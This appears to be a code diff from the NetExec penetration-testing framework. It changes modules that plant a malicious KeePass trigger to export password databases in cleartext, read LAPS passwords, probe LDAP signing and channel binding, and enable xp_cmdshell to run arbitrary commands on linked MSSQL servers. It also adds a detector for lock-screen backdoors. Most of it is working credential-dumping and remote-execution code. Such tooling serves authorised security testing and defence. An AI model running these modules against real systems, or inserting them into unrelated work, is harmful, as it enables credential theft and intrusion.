name = "keepass_trigger"
|
||||
description = "Set up a malicious KeePass trigger to export the database in cleartext."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
# while the module only executes legit powershell commands on the target (search and edit files)
|
||||
# some EDR like Trend Micro flag base64-encoded powershell as malicious
|
||||
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
# module options
|
||||
@@ -39,7 +40,7 @@ class NXCModule:
|
||||
self.share = "C$"
|
||||
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
|
||||
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
|
||||
self.local_export_path = "/tmp"
|
||||
self.local_export_path = TMP_PATH
|
||||
self.trigger_name = "export_database"
|
||||
self.poll_frequency_seconds = 5
|
||||
self.dummy_service_name = "OneDrive Sync KeePass"
|
||||
@@ -358,7 +359,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
|
||||
keepass_config_xml_root = ET.fromstring(buffer.getvalue())
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
|
||||
sys.exit(1)
|
||||
@@ -377,7 +378,7 @@ class NXCModule:
|
||||
|
||||
def extract_password(self, context):
|
||||
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
|
||||
xml_tree = ElementTree.parse(xml_doc_path)
|
||||
xml_tree = ET.parse(xml_doc_path)
|
||||
root = xml_tree.getroot()
|
||||
|
||||
root_entries = root.find("./Root/Entry")
|
||||
|
||||
+5
-5
@@ -1,6 +1,7 @@
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.ldap.laps import LAPSv2Extract
|
||||
|
||||
|
||||
@@ -17,8 +18,7 @@ class NXCModule:
|
||||
name = "laps"
|
||||
description = "Retrieves all LAPS passwords which the account has read permissions for."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
@@ -45,12 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
+231
-173
@@ -1,6 +1,8 @@
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
import hashlib
|
||||
import random
|
||||
|
||||
from msldap.connection import MSLDAPClientConnection
|
||||
from msldap.commons.target import MSLDAPTarget
|
||||
@@ -10,193 +12,249 @@ from asyauth.common.credentials.ntlm import NTLMCredential
|
||||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import sys
|
||||
import contextlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks whether LDAP signing and channelbinding are required.
|
||||
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
|
||||
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and binding are required and / or enforced"
|
||||
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.debug(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
return False # channel binding not enforced
|
||||
client.cb_data = None
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True # -> channel binding IS enforced
|
||||
elif err and "data 52e" in str(err):
|
||||
return False # -> channel binding not enforced
|
||||
elif err is None:
|
||||
# LDAPS bind successful
|
||||
# because channel binding is not enforced
|
||||
return False
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True
|
||||
elif "data 52e" in str(err):
|
||||
return False
|
||||
elif err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
elif err is None:
|
||||
return False
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
ssl_sock.do_handshake()
|
||||
ssl_sock.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
ssl_sock.close()
|
||||
return True
|
||||
if "handshake operation timed out" in str(e):
|
||||
ssl_sock.close()
|
||||
return False
|
||||
else:
|
||||
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
|
||||
ssl_sock.close()
|
||||
return False
|
||||
|
||||
# Conduct and LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck is True:
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
return False # LDAPS bind successful -> channel binding not enforced
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
sys.exit()
|
||||
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
|
||||
return None
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
await client.disconnect()
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that an
|
||||
# LDAPS bind without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
try:
|
||||
context.log.debug("Retrieving TLS certificate hash...")
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
pos = random.randint(0, len(cert_hash) - 1)
|
||||
tampered_bytes = bytearray(cert_hash)
|
||||
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
|
||||
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
|
||||
context.log.debug(f"Modified byte at position {pos}")
|
||||
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
|
||||
else:
|
||||
client.cb_data = b"\x00" * 64
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
|
||||
client.cb_data = b"\x00" * 64
|
||||
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True
|
||||
elif (err and "data 52e" in str(err)) or err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def does_ldaps_complete_handshake(self, context, dc_ip):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
|
||||
try:
|
||||
ssl_sock.connect((dc_ip, 636))
|
||||
ssl_sock.do_handshake()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
return True
|
||||
elif "handshake operation timed out" in str(e):
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(self, context, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
client._disable_signing = True # deliberately disable LDAP signing on client connection
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting for LDAP bind: {err}")
|
||||
return None
|
||||
|
||||
_, err = await client.bind()
|
||||
if err:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(f"LDAP bind error: {err}")
|
||||
return None
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Now natively supported in the host banner")
|
||||
return
|
||||
stype = asyauthSecret.PASS
|
||||
secret = connection.password
|
||||
if connection.nthash:
|
||||
stype = asyauthSecret.NT
|
||||
secret = connection.nthash
|
||||
if connection.aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
secret = connection.aesKey
|
||||
|
||||
anon_credential = NTLMCredential(
|
||||
secret="",
|
||||
username="",
|
||||
domain=connection.domain,
|
||||
stype=asyauthSecret.PASS
|
||||
)
|
||||
|
||||
if not connection.username and not secret:
|
||||
context.log.highlight("No credentials provided, skipping LDAP signing check")
|
||||
credential = anon_credential
|
||||
else:
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
ldap_signing_status = None
|
||||
if connection.username or secret:
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 389,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
|
||||
if ldap_signing_status is True:
|
||||
context.log.highlight("LDAP signing IS enforced")
|
||||
elif ldap_signing_status is False:
|
||||
context.log.highlight("LDAP signing NOT enforced")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAP signing requirement.")
|
||||
|
||||
if self.does_ldaps_complete_handshake(context, connection.host):
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 636,
|
||||
UniProto.CLIENT_SSL_TCP,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
|
||||
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
|
||||
|
||||
if ldaps_noEPA is False and ldaps_withEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: When Supported")
|
||||
elif ldaps_noEPA is False and ldaps_withEPA is False:
|
||||
context.log.highlight("LDAPS channel binding is set to: Never")
|
||||
elif ldaps_noEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: Required")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -0,0 +1,103 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked MSSQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
# Store the original state of options that have to be enabled/disabled in order to restore them later
|
||||
self.backuped_options = {}
|
||||
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
self.backup_and_enable("advanced options")
|
||||
|
||||
current_value = self.is_option_enabled("xp_cmdshell")
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
|
||||
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
self.restore("advanced options")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
self.backup_and_enable("advanced options")
|
||||
|
||||
current_value = self.is_option_enabled("xp_cmdshell")
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
|
||||
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
self.restore("advanced options")
|
||||
|
||||
# Adapting methods from MSSQLEXEC for backup and restore functionality
|
||||
def restore(self, option):
|
||||
try:
|
||||
if not self.backuped_options[option]:
|
||||
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
|
||||
|
||||
def backup_and_enable(self, option):
|
||||
try:
|
||||
self.backuped_options[option] = self.is_option_enabled(option)
|
||||
if not self.backuped_options[option]:
|
||||
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
|
||||
|
||||
def is_option_enabled(self, option):
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
# Assuming the query returns a list of dictionaries with 'config_value' as the key
|
||||
self.context.log.debug(f"{option} check result: {result}")
|
||||
return bool(result and result[0]["config_value"] == 1)
|
||||
@@ -0,0 +1,53 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Run xp_cmdshell commands on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
self.command = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for running xp_cmdshell commands on a linked server.
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
CMD The command to run via xp_cmdshell.
|
||||
"""
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
self.command = module_options.get("CMD")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server or not self.command:
|
||||
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
|
||||
return
|
||||
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
|
||||
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
|
||||
if result:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value and output_value != "NULL":
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
if output_lines:
|
||||
self.context.log.success("Executed command via linked server")
|
||||
for line in output_lines:
|
||||
self.context.log.highlight(line.strip())
|
||||
else:
|
||||
self.context.log.display("Command executed but returned no output")
|
||||
else:
|
||||
self.context.log.fail("No result returned from query")
|
||||
@@ -0,0 +1,89 @@
|
||||
from io import BytesIO
|
||||
import pefile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for detecting Windows lock screen backdoors
|
||||
Module by @E1A
|
||||
"""
|
||||
|
||||
name = "lockscreendoors"
|
||||
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
# List of exe names with expected descriptions
|
||||
self.expected_descriptions = {
|
||||
"utilman.exe": ["Utility Manager"],
|
||||
"narrator.exe": ["Screen Reader", "Narrator"],
|
||||
"sethc.exe": ["Accessibility shortcut keys"],
|
||||
"osk.exe": ["Accessibility On-Screen Keyboard"],
|
||||
"magnify.exe": ["Microsoft Screen Magnifier"],
|
||||
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
|
||||
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
|
||||
"displayswitch.exe": ["Display Switch"],
|
||||
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
|
||||
}
|
||||
|
||||
# If description matches one of these it's almost certainly backdoored
|
||||
self.backdoor_descriptions = [
|
||||
"Windows Command Processor",
|
||||
"Windows PowerShell"
|
||||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_description(self, binary_data):
|
||||
# Extract the file description from version info
|
||||
try:
|
||||
pe = pefile.PE(data=binary_data, fast_load=True)
|
||||
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
|
||||
for fileinfo in pe.FileInfo:
|
||||
for entry in fileinfo:
|
||||
if entry.Key.decode() == "StringFileInfo":
|
||||
for st in entry.StringTable:
|
||||
desc = st.entries.get(b"FileDescription")
|
||||
if desc:
|
||||
return desc.decode().strip()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to extract PE info: {e}")
|
||||
return None
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
target_path = "\\Windows\\System32"
|
||||
tampered = False
|
||||
|
||||
for exe, expected_descs in self.expected_descriptions.items():
|
||||
try:
|
||||
# Grab the binary from the share
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
|
||||
binary = buf.getvalue()
|
||||
|
||||
# Extract and normalize the file description
|
||||
file_desc = self.get_description(binary)
|
||||
if not file_desc:
|
||||
context.log.fail(f"{exe}: could not extract FileDescription")
|
||||
continue
|
||||
|
||||
# Check if the description is as expected
|
||||
if file_desc not in expected_descs:
|
||||
tampered = True
|
||||
if file_desc in self.backdoor_descriptions:
|
||||
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
|
||||
else:
|
||||
if len(expected_descs) == 1:
|
||||
expected_str = f"'{expected_descs[0]}'"
|
||||
else:
|
||||
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
|
||||
expected_str = f"one of: {expected_str}"
|
||||
